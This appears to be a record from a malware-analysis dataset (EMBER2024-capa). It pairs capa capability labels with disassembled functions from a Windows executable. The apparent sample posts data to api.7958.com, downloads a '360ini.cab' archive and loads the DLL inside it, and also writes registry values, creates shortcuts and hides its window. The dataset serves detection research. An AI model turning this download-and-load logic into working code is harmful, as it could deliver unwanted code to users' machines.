joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408dd0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4a8
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, dword [ebp + 0x10]
push 0x7f
mov dword [ebp - 0x4a8], eax
lea eax, [ebp - 0x8b]
push 0
push eax
mov dword [ebp - 0x4a4], edi
mov byte [ebp - 0x8c], 0
call fcn.00415320
push str.api.7958.com
lea eax, [ebp - 0x8c]
push 0x80
push eax
call fcn.00411c67
add esp, 0x18
push str.api.7958.com
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
test esi, esi
je 0x408ea8
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
mov dword [ebp - 0x492], 0
xorps xmm0, xmm0
mov word [ebp - 0x48e], 0
mov eax, 2
movq qword [ebp - 0x49a], xmm0
push 0x50
mov word [ebp - 0x49c], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x49a], ax
mov eax, dword [esi + 0xc]
push 0x10
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x498], eax
lea eax, [ebp - 0x49c]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x408ebe
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00411717
mov esp, ebp
pop ebp
ret 0xc
mov esi, dword [sym.imp.WS2_32.dll_setsockopt]
lea eax, [ebp - 0x4a0]
push 4
push eax
push 0x1005
push 0xffff
push ebx
mov dword [ebp - 0x4a0], 0xbb8
call esi
push 4
lea eax, [ebp - 0x4a0]
push eax
push 0x1006
push 0xffff
push ebx
call esi
push 0x3ff
lea eax, [ebp - 0x48b]
mov byte [ebp - 0x48c], 0
push 0
push eax
call fcn.00415320
mov edx, dword [ebp - 0x4a8]
add esp, 0xc
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408f22
push edx
sub ecx, esi
lea eax, [ebp - 0x8c]
push ecx
push eax
push str._api_getall4logo
lea eax, [ebp - 0x48c]
push str.POST__s_HTTP_1.1_r_nHost:__s__r_nContent_Length:__d__r_nConnection:close_r_nAccept_Language:_zh_cn_r_nCache_Conbtrol:no_cache_r_nContent_Type:application_x_www_form_urlencoded_r_n_r_n_s_r_n_r_n
push eax
call fcn.00404280
lea ecx, [ebp - 0x48c]
add esp, 0x18
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408f56
push 0
sub ecx, edx
lea eax, [ebp - 0x48c]
push ecx
push eax
push ebx
call dword [sym.imp.WS2_32.dll_send]
xor esi, esi
push esi
push 0x1000
push edi
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x408fa3
add esi, eax
add edi, eax
cmp esi, 0x8fff
jg 0x408fa3
push 0
push 0x1000
push edi
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x408f84
mov edi, dword [ebp - 0x4a4]
push ebx
mov byte [edi + esi], 0
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, edi
call fcn.00408d30
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00411717
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40a350
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push esi
mov esi, dword [0x489844]
sub eax, 0x8005
je 0x40a395
dec eax
jne 0x40a39f
lea eax, [esi + 0xc2c]
push eax
push 2
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
push esi
push 0
push 0x40b040
mov byte [esi + 0x60c], 0
call fcn.00413060
add esp, 0xc
pop esi
mov esp, ebp
pop ebp
ret 4
push 1
push dword [esi]
call dword [sym.imp.USER32.dll_ShowWindow]
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x40a470
Capabilities:
Create process on windows
Create thread
Hide graphical window

Disassembly:
push edi
mov edi, ecx
cmp dword [edi + 0x58c], 2
jle 0x40a548
call fcn.0040a3b0
test al, al
jne 0x40a503
push esi
push 0
push dword [edi]
mov byte [edi + 0x60d], al
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [edi]
lea esi, [edi + 0xc2c]
push 0x81
push dword [edi + 0x414]
mov dword [esi], 0x3bc
mov dword [edi + 0xc30], eax
mov dword [edi + 0xc34], 0x81
mov dword [edi + 0xc38], 3
call dword [sym.imp.USER32.dll_LoadIconW]
push esi
push 0
mov dword [edi + 0xc40], eax
mov dword [edi + 0xc3c], 0x40a
mov dword [edi + 0xf4c], 0xbb8
mov dword [edi + 0xfd0], 0
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
pop esi
pop edi
ret
mov eax, dword [edi + 0x40c]
test eax, eax
je 0x40a52f
push pe_nt_image_headers32
push 0
push 0
push 0xf001f
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push eax
mov dword [eax], 0
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push edi
push 0
push 0x40b040
mov byte [edi + 0x60c], 0
call fcn.00413060
add esp, 0xc
pop edi
ret
push 0x41
push 0x433754
push 0x433760
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 1
jne 0x40a5aa
lea eax, [edi + 0xc2c]
push eax
push 2
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
add edi, 0x1068
mov ecx, edi
lea edx, [ecx + 1]
jmp 0x40a580
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a580
sub ecx, edx
cmp ecx, 5
jbe 0x40a5a2
push 5
push 0
push 0
push edi
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
pop edi
ret
Function at 0x40b060
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 5
push 0
push 0
mov esi, ecx
push esi
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jae 0x40b0be
push esi
lea eax, [ebp - 0x404]
push str._select___s
push eax
call fcn.00404280
add esp, 0xc
lea eax, [ebp - 0x404]
push 5
push 0
push eax
push str.explorer
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00411717
mov esp, ebp
pop ebp
ret

Function at 0x40b6e0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, ecx
mov dword [ebp - 4], eax
cmp byte [eax + 0x60a], 0
jne 0x40b79b
push ebx
mov byte [eax + 0x60a], 1
mov ebx, dword [eax + 0x618]
sub ebx, dword [eax + 0x614]
push esi
sar ebx, 2
xor esi, esi
test ebx, ebx
je 0x40b789
mov ecx, dword [eax + 0x614]
mov eax, dword [eax + 0x618]
sub eax, ecx
mov dword [ebp - 0xc], ecx
sar eax, 2
mov dword [ebp - 8], eax
push edi
mov edi, edi
cmp eax, esi
jbe 0x40b7a1
mov edi, dword [ecx + esi*4]
test edi, edi
je 0x40b775
mov eax, 0x4334b8
lea ecx, [edi + 0x800]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x40b766
test dl, dl
je 0x40b762
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x40b766
add ecx, 2
add eax, 2
test dl, dl
jne 0x40b746
xor eax, eax
jmp 0x40b76b
sbb eax, eax
or eax, 1
test eax, eax
je 0x40b77c
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
inc esi
cmp esi, ebx
jb 0x40b730
jmp 0x40b785
mov al, byte [ebp + 8]
mov byte [edi + 0x102d], al
mov eax, dword [ebp - 4]
pop edi
push eax
push 0
push 0x40b040
call fcn.00413060
add esp, 0xc
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push str.invalid_vector_T__subscript
call fcn.004280ec
int3
Function at 0x40b990
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe48
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
test esi, esi
je 0x40babe
mov ebx, dword [sym.imp.KERNEL32.dll_Process32NextW]
jmp 0x40b9c0
push 0x400
lea eax, [ebp - 0x40c]
push 0
push eax
call fcn.00415320
add esp, 0xc
push 0x3b
push esi
call fcn.00412300
add esp, 8
mov dword [ebp - 0xe40], eax
test eax, eax
je 0x40babe
mov edi, eax
lea eax, [ebp - 0x40c]
sub edi, esi
push edi
push esi
push eax
call fcn.00416020
add esp, 0xc
cmp edi, 0x400
jae 0x40baef
push 0x3ff
lea eax, [ebp - 0x40c]
mov byte [ebp + edi - 0x40c], 0
push eax
push 0x400
lea eax, [ebp - 0xc0c]
push eax
lea eax, [ebp - 0xe44]
push eax
call fcn.00414716
add esp, 0x14
mov dword [ebp - 0xe3c], 0x22c
lea eax, [ebp - 0xe38]
push 0x228
push 0
push eax
call fcn.00415320
add esp, 0xc
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x40bab1
lea eax, [ebp - 0xe3c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x40baaa
lea eax, [ebp - 0xc0c]
push eax
lea eax, [ebp - 0xe18]
push eax
call fcn.00413c8f
add esp, 8
test eax, eax
je 0x40bad3
lea eax, [ebp - 0xe3c]
push eax
push esi
call ebx
test eax, eax
jne 0x40ba82
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0xe40]
inc esi
jne 0x40b9c0
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00411717
mov esp, ebp
pop ebp
ret 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00411717
mov esp, ebp
pop ebp
ret 4
call fcn.00411f00
int3

Function at 0x40be70
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x234]
push esi
push edi
push 0x228
push 0
push eax
mov dword [ebp - 0x238], 0x22c
call fcn.00415320
add esp, 0xc
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x40befb
lea eax, [ebp - 0x238]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x40bef4
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
lea eax, [ebp - 0x214]
push ebx
push eax
call fcn.00413c8f
add esp, 8
test eax, eax
je 0x40bf10
lea eax, [ebp - 0x238]
push eax
push esi
call edi
test eax, eax
jne 0x40bed2
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00411717
mov esp, ebp
pop ebp
ret 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00411717
mov esp, ebp
pop ebp
ret 8
Function at 0x40c310
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, edx
mov dword [ebp - 0x420], eax
mov ebx, ecx
xor eax, eax
push 0x40e
push eax
mov word [ebp - 0x414], ax
lea eax, [ebp - 0x412]
push eax
call fcn.00415320
push esi
lea eax, [ebp - 0x414]
push 0x208
push eax
call fcn.004138d3
push 0x4334b0
lea eax, [ebp - 0x414]
push 0x208
push eax
call fcn.00413867
push edi
lea eax, [ebp - 0x414]
push 0x208
push eax
call fcn.00413867
push str..lnk
lea eax, [ebp - 0x414]
push 0x208
push eax
call fcn.00413867
add esp, 0x3c
lea eax, [ebp - 0x418]
push eax
push 0x42b400
push 1
push 0
push 0x42b410
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x40c441
mov eax, dword [ebp - 0x418]
push ebx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x50]
mov eax, dword [ebp - 0x418]
push str._ProgramFiles_Internet_Explorer
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
mov eax, dword [ebp - 0x418]
push 0
push dword [ebp - 0x420]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x418]
lea edx, [ebp - 0x41c]
push edx
push 0x42b420
push eax
mov ecx, dword [eax]
call dword [ecx]
mov esi, eax
test esi, esi
js 0x40c433
mov ecx, dword [ebp - 0x41c]
lea eax, [ebp - 0x414]
push 1
push eax
push ecx
mov edx, dword [ecx]
call dword [edx + 0x18]
mov eax, dword [ebp - 0x41c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x418]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00411717
mov esp, ebp
pop ebp
ret
Function at 0x40cc00
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push 0
lea eax, [ebp - 4]
mov esi, edx
push eax
push 0
push 0xf013f
push 0
push 0
push 0
mov edi, ecx
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40cc86
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 8]
push eax
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0xf023f
push 0
push 0
push 0
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40cc86
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 8]
push eax
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40d5f0
Capabilities:
Check if file exists
Delete file
Download url
Get common file path
Move file
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
push edi
test esi, esi
jne 0x40d613
xor eax, eax
jmp 0x40d7b6
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d616
sub ecx, edx
lea ebx, [ecx + 1]
cmp ebx, 0x3fffffff
jg 0x40d655
lea eax, [ebx + ebx]
call fcn.00425810
mov edi, esp
test edi, edi
je 0x40d655
push ebx
push edi
push 0xffffffffffffffff
xor eax, eax
push esi
push eax
push 3
mov word [edi], ax
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov esi, eax
neg esi
sbb esi, esi
and esi, edi
jmp 0x40d657
xor esi, esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x20c]
push eax
push 0x104
call ebx
mov edi, dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea eax, [ebp - 0x20c]
push str.360ini.cab
push eax
call edi
push 0
push 0
lea eax, [ebp - 0x20c]
push eax
push esi
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x40d60c
lea eax, [ebp - 0x414]
push eax
push 0x104
call ebx
push str.360ini
lea eax, [ebp - 0x414]
push eax
call edi
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryW]
test eax, eax
jne 0x40d6eb
lea eax, [ebp - 0x414]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectory]
test eax, eax
je 0x40d6eb
cmp eax, 0x50
je 0x40d6eb
cmp eax, 0xb7
jne 0x40d60c
lea eax, [ebp - 0x414]
push eax
push 0x40d560
push 0
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SETUPAPI.dll_SetupIterateCabinetW]
mov esi, eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test esi, esi
je 0x40d60c
push str.360ini.dll
lea eax, [ebp - 0x414]
push eax
call edi
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40d60c
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.360Ini
call esi
test eax, eax
lea eax, [ebp - 0x414]
push eax
je 0x40d7b0
lea ecx, [ebp - 0x20c]
call fcn.0040d510
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push str.Internet360Ini.dll
lea eax, [ebp - 0x20c]
push eax
call edi
push str.Internet360Ini
call esi
test eax, eax
jne 0x40d60c
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
je 0x40d60c
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea esp, [ebp - 0x420]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00411717
mov esp, ebp
pop ebp
ret
Function at 0x40f5b0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
test edx, edx
jne 0x40f5bb
xor eax, eax
pop ebp
ret
push esi
mov esi, dword [ebp + 8]
not ecx
cmp esi, 8
jb 0x40f685
push edi
mov edi, esi
shr edi, 3
movzx eax, byte [edx]
sub esi, 8
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x431840]
movzx eax, byte [edx + 1]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x431840]
movzx eax, byte [edx + 2]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x431840]
movzx eax, byte [edx + 3]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x431840]
movzx eax, byte [edx + 4]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x431840]
movzx eax, byte [edx + 5]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x431840]
movzx eax, byte [edx + 6]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x431840]
movzx eax, byte [edx + 7]
add edx, 8
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x431840]
dec edi
jne 0x40f5d0
pop edi
test esi, esi
je 0x40f6aa
lea esp, [esp]
movzx eax, byte [edx]
lea edx, [edx + 1]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x431840]
dec esi
jne 0x40f690
not ecx
mov eax, ecx
pop esi
pop ebp
ret

Function at 0x40fd80
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov ebx, edx
mov esi, ebx
mov eax, ecx
imul esi, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp byte [edi], 0
je 0x40fdc3
push 0
lea ecx, [ebp + 8]
push ecx
push esi
push eax
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40fdb5
mov byte [edi + 8], 1
mov eax, dword [ebp + 8]
xor edx, edx
pop edi
pop esi
div ebx
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [edi + 0x18]
mov ecx, dword [edi + 0x14]
lea eax, [edx + esi]
cmp eax, ecx
jbe 0x40fdd4
mov esi, ecx
sub esi, edx
mov ecx, dword [edi + 0x10]
push esi
add ecx, edx
push ecx
push dword [ebp - 4]
call fcn.00416020
add dword [edi + 0x18], esi
add esp, 0xc
mov eax, esi
xor edx, edx
div ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40fe00
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, ecx
mov ebx, edx
push edi
mov dword [ebp - 8], ebx
mov edi, 1
cmp byte [esi], 0
je 0x40fe3b
push 0
lea eax, [ebp - 8]
push eax
push edi
lea eax, [ebp - 1]
push eax
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40fe36
mov byte [esi + 8], 1
mov edi, dword [ebp - 8]
jmp 0x40fe68
mov ebx, dword [esi + 0x18]
mov ecx, dword [esi + 0x14]
lea eax, [ebx + 1]
cmp eax, ecx
jbe 0x40fe4c
mov edi, ecx
sub edi, ebx
mov eax, dword [esi + 0x10]
add eax, ebx
push edi
push eax
lea eax, [ebp - 1]
push eax
call fcn.00416020
lea eax, [ebx + edi]
add esp, 0xc
mov ebx, dword [ebp - 8]
mov dword [esi + 0x18], eax
cmp edi, 1
jne 0x40fe7c
movzx eax, byte [ebp - 1]
mov dword [ebx], eax
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
cmp byte [esi], 0
je 0x40fe73
cmp byte [esi + 8], 0
je 0x40fe73
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40ff40
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push edi
mov edi, ecx
mov ecx, dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp byte [edi], 0
je 0x40ff74
cmp byte [edi + 1], 0
je 0x40ff6d
push 2
push 0
push 0
push dword [edi + 4]
call ecx
mov ecx, dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x40ff7a
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
mov eax, dword [edi + 0x14]
mov dword [edi + 0x18], eax
cmp byte [edi], 0
push ebx
je 0x40ff9f
cmp byte [edi + 1], 0
je 0x40ff98
push 1
push 0
push 0
push dword [edi + 4]
call ecx
mov ebx, eax
sub ebx, dword [edi + 0xc]
jmp 0x40ffa2
xor ebx, ebx
mov dword [ebp - 8], ebx
jmp 0x40ffb1
mov ebx, dword [edi + 0x18]
mov eax, 0xffff
mov dword [ebp - 8], ebx
mov dword [ebp - 4], eax
cmp ebx, eax
jae 0x40ffb4
mov dword [ebp - 4], ebx
push esi
push 0x404
call fcn.00411726
mov esi, eax
add esp, 4
test esi, esi
jne 0x40ffcf
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, 4
mov dword [ebp - 0x10], 0
cmp ecx, eax
jbe 0x4100cf
add eax, 0x400
cmp eax, ecx
mov edx, eax
mov eax, 0x404
cmova edx, ecx
mov ecx, ebx
sub ecx, edx
mov dword [ebp - 0x1c], edx
sub ebx, ecx
mov dword [ebp - 0x18], ecx
cmp ebx, 0x404
cmova ebx, eax
cmp byte [edi], 0
je 0x410030
cmp byte [edi + 1], 0
je 0x4100cf
mov eax, dword [edi + 0xc]
push 0
push 0
add eax, ecx
push eax
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x410033
mov dword [edi + 0x18], ecx
cmp byte [edi], 0
mov ecx, ebx
mov dword [ebp - 0xc], ebx
je 0x41005b
push 0
lea eax, [ebp - 0x14]
push eax
push ebx
push esi
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x410056
mov byte [edi + 8], 1
mov eax, dword [ebp - 0x14]
jmp 0x410084
mov edx, dword [edi + 0x18]
lea eax, [edx + ebx]
cmp eax, dword [edi + 0x14]
jbe 0x41006e
mov ecx, dword [edi + 0x14]
sub ecx, edx
mov dword [ebp - 0xc], ecx
push ecx
mov ecx, dword [edi + 0x10]
add ecx, edx
push ecx
push esi
call fcn.00416020
mov eax, dword [ebp - 0xc]
add esp, 0xc
add dword [edi + 0x18], eax
xor edx, edx
div ebx
cmp eax, 1
jne 0x4100cf
lea eax, [ebx - 3]
test eax, eax
jle 0x4100be
dec eax
cmp byte [eax + esi], 0x50
jne 0x4100b0
cmp byte [eax + esi + 1], 0x4b
jne 0x4100b0
cmp byte [eax + esi + 2], 5
jne 0x4100b0
cmp byte [eax + esi + 3], 6
je 0x4100b6
test eax, eax
jg 0x410094
jmp 0x4100be
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
jne 0x4100cf
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 4]
mov ebx, dword [ebp - 8]
cmp eax, ecx
jb 0x40ffe6
push esi
call fcn.004117b8
mov eax, dword [ebp - 0x10]
add esp, 4
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x410db0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
push edi
cmp dword [esi], 0
jne 0x410e39
cmp dword [esi + 4], 0xffffffff
jne 0x410e39
lea edi, [esi + 0x138]
push edi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
add edi, 0xfffffffe
jmp 0x410de0
mov ax, word [edi + 2]
lea edi, [edi + 2]
test ax, ax
jne 0x410de0
mov eax, dword [0x4334b0]
push 0x1c
mov dword [edi], eax
mov dword [ebp - 4], 0
call fcn.00412002
mov ecx, dword [ebp + 8]
add esp, 4
mov dword [eax + 0x10], ecx
mov ecx, dword [ebp + 0xc]
mov dword [eax + 0x14], ecx
mov ecx, eax
mov word [eax], pe_nt_image_headers32
mov dword [eax + 0x18], 0
mov dword [eax + 0xc], 0
call fcn.004100f0
mov dword [esi], eax
mov eax, dword [0x489948]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0xc
pop edi
mov eax, 0x1000000
pop esi
mov esp, ebp
pop ebp
ret 0xc